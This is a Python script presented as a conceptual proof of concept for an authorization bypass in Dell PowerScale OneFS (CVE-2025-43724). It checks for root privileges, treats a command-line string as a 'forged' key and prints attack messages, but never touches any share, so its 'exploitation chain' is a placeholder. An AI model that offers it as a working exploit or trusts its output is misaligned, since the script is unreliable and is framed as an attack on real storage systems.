CVE-2025-43724

#!/usr/bin/env python3 """ CVE-2025-43724 - Dell PowerScale OneFS Authorization Bypass PoC Conceptual Proof of Concept for CWE-639: Authorization Bypass Through User-Controlled Key This PoC demonstrates the concept of manipulating user-controlled authorization keys to bypass access controls on NFSv4/SMB shares in Dell PowerScale OneFS (< 9.12.0.0). NOTE: This is a conceptual PoC for educational/research purposes only. Actual exploitation requires local high-privileged access to the target system. """ import subprocess import sys class OneFSAuthBypass: """ Conceptual exploit class for CVE-2025-43724. Demonstrates how user-controlled keys can bypass authorization in OneFS. """ def __init__(self, target_share, controlled_key): self.target_share = target_share self.controlled_key = controlled_key # User-controlled authorization key self.auth_token = None def check_local_access(self): """Verify local high-privileged access to the OneFS node.""" try: result = subprocess.run( ["id"], capture_output=True, text=True, timeout=5 ) # Check if running with high privileges (root or isiadmin) if "uid=0" in result.stdout or "isiadmin" in result.stdout: print("[+] Local high-privileged access confirmed.") return True else: print("[-] Insufficient privileges. Need root/isiadmin access.") return False except Exception as e: print(f"[-] Access check failed: {e}") return False def forge_authorization_key(self): """ Forge/manipulate the user-controlled key used in authorization. In vulnerable versions, the system trusts this key without proper validation. """ # The vulnerability lies in the system trusting user-controlled keys # during the authorization decision process for NFSv4/SMB shares. print(f"[*] Forging authorization key: {self.controlled_key}") self.auth_token = self.controlled_key return self.auth_token def attempt_unauthorized_access(self): """ Attempt to access NFSv4/SMB shares using the forged authorization key. """ if not self.auth_token: print("[-] No valid authorization token. Cannot proceed.") return False # Conceptual: Use the forged key to bypass authorization checks print(f"[*] Attempting unauthorized access to share: {self.target_share}") print(f"[*] Using forged key to bypass OneFS authorization checks...") print(f"[!] If vulnerable (< 9.12.0.0), access may be granted without proper auth.") # In a real scenario, this would involve manipulating OneFS internal # authentication tokens or session keys to impersonate authorized users return True def run(self): """Execute the full exploitation chain.""" print("=" * 60) print("CVE-2025-43724 - Dell PowerScale OneFS Auth Bypass PoC") print("=" * 60) if not self.check_local_access(): sys.exit(1) self.forge_authorization_key() self.attempt_unauthorized_access() print("\n[*] PoC execution completed.") print("[*] Remediation: Upgrade Dell PowerScale OneFS to >= 9.12.0.0") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_share> <controlled_key>") print(f"Example: {sys.argv[0]} /ifs/data/share 'admin_token_123'") sys.exit(1) exploit = OneFSAuthBypass( target_share=sys.argv[1], controlled_key=sys.argv[2] ) exploit.run()

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